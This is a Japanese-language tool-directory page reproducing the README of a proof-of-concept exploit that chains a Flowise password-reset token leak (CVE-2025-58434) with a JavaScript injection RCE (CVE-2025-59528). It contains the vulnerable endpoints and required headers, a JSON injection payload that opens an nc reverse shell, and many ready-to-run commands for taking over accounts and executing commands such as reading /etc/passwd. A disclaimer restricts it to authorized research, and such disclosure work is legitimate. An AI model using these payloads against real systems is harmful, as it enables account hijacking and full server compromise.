Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-58434-AND-59528-POC — # CVE-2025-58434(アカウント乗っ取り)および CVE-2025-59528(RCE)向けモジュール式PoC(Flowise用) 未認証のトークン漏洩からリバースシェルまたはカスタムコマンドによるリモートコード実行まで、攻撃チェーン全体を自動化します。 | Kitploit
ツール/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証学習と教育リモートアクセスツールペイロード開発
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

# CVE-2025-58434(アカウント乗っ取り)および CVE-2025-59528(RCE)向けモジュール式PoC(Flowise用) 未認証のトークン漏洩からリバースシェルまたはカスタムコマンドによるリモートコード実行まで、攻撃チェーン全体を自動化します。

リポジトリを見る
1995ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ 教育目的および許可されたセキュリティ研究専用です。
このツールを、自分が所有していない、または書面による許可を得ていないシステムに対して実行することは違法です。


目次

  • 概要
  • 脆弱性の詳細
    • CVE-2025-58434 — アカウント乗っ取り
    • CVE-2025-59528 — リモートコード実行
  • 完全な攻撃チェーン
  • 影響を受けるバージョン
  • リポジトリ構成
  • 要件
  • インストール
  • 使用方法
    • デフォルトの動作
    • ヘルプ画面
    • チェーンモード
    • モジュール — ATO
    • モジュール — ログイン
    • モジュール — RCE
  • フラグリファレンス
  • リバースシェル vs カスタムコマンド
  • 出力例
  • 対策
  • 開示のタイムライン
  • 参考文献
  • 免責事項

概要

このリポジトリは、Flowise における2つのクリティカルな脆弱性を、単一のモジュール式 PoC ツールに統合したものです。

CVE-2025-58434CVE-2025-59528
タイプアカウント乗っ取りリモートコード実行
認証要求なしあり(有効なアカウント)
CVSS9.8 CriticalCritical
影響Cloud + セルフホストセルフホスト

2つの脆弱性は自然に連鎖します。CVE-2025-58434 は認証なしのアカウント乗っ取りを提供し、これにより CVE-2025-59528 の認証要件を満たし、1回の自動実行で認証なしの RCE を達成します。


脆弱性の詳細

CVE-2025-58434 — アカウント乗っ取り

根本原因: forgot-password エンドポイントが、パスワードリセットトークン(tempToken)をメール経由のみで送信する代わりに、HTTP レスポンスボディに直接返します。

攻撃手順:

  1. 登録済みメールアドレスで POST /api/v1/account/forgot-password
  2. JSON レスポンスから tempToken を読み取る — メールアクセスは不要
  3. 漏洩したトークンを使用して POST /api/v1/account/reset-password → 新しいパスワードを設定
  4. 被害者としてログイン

漏洩したレスポンス(一部抜粋):

{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — リモートコード実行

根本原因: CustomMCP ノードは、ユーザーが提供した mcpServerConfig をサニタイズせずに JavaScript の Function() コンストラクタに直接渡します。Flowise は Node.js で動作するため、注入されたコードは child_process、fs、およびすべての Node.js 組み込み機能に完全にアクセスできます。

脆弱なコードパス:

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← サニタイズされていないユーザー入力

必要なヘッダー:

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

デフォルトのインジェクションペイロード(リバースシェル):

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

注: リバースシェルペイロードは cp.exec()(非同期 / fire-and-forget)を使用するため、HTTP リクエストは即座に完了し、ツールがタイムアウトしません。通常のコマンドは cp.execSync() を使用し、インラインで出力を返します。


完全な攻撃チェーン

攻撃者                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← トークンがレスポンスで漏洩
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO 完了
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← クッキーを抽出
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() がバックグラウンドで起動]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   攻撃者の nc リスナー ←───────────────── サーバーが接続
   ✓  認証情報ゼロから完全な RCE

影響を受けるバージョン

コンポーネント状態
Flowise Cloud (cloud.flowiseai.com)CVE-2025-58434 の影響あり
Flowise セルフホスト(パッチ前の全バージョン)両方の CVE の影響あり

パッチが適用されたリリース番号については、公式の Flowise セキュリティアドバイザリ を確認してください。


リポジトリ構成

flowise-dual-cve-poc/
├── flowise_poc.py      # メイン PoC — 全モジュール + チェーンモード
├── requirements.txt    # Python 依存関係
├── README.md           # このファイル
└── DISCLAIMER.md       # 完全な法的通知

要件

  • Python 3.7+
  • requests ライブラリ

インストール

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

使用方法

デフォルトの動作

モードフラグは不要です。 --chain や --module を指定せずにスクリプトを実行すると、自動的にフルチェーンモードで実行されます。デフォルトの RCE ペイロードはリバースシェルです。--lhost と --lport を指定してください。

# 最小限の呼び出し — フルチェーン + リバースシェル
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

実行前にリスナーを起動してください:

nc -lvnp 4444

ヘルプ画面

python3 flowise_poc.py -h

チェーンモード

トークン漏洩 → パスワードリセット → ログイン → RCE の4ステップをすべて実行します。

# リバースシェル(デフォルトペイロード)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# リバースシェルの代わりにカスタムコマンド
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# カスタムATOパスワード + リバースシェル
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

モジュール — ATO

tempToken を漏洩させ、アカウントのパスワードをリセットします。ログイン/RCE の前で停止します。

# デフォルトの新しいパスワード
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# カスタムの新しいパスワード
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# 生のJSONレスポンスを表示
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

モジュール — ログイン

認証を行い、手動使用のために3つのセッションクッキーを抽出します。

python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# スクリプト用のJSON出力
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

モジュール — RCE

サーバー上で実行します。--token が指定されていない場合は自動ログインします。

# リバースシェル — 自動ログイン
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# カスタムコマンド — 自動ログイン
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# 手動トークン — リバースシェル
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# 3つすべてのクッキーを手動で指定
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

フラグリファレンス

モード(すべてオプション — デフォルトは --chain)

ツールをダウンロード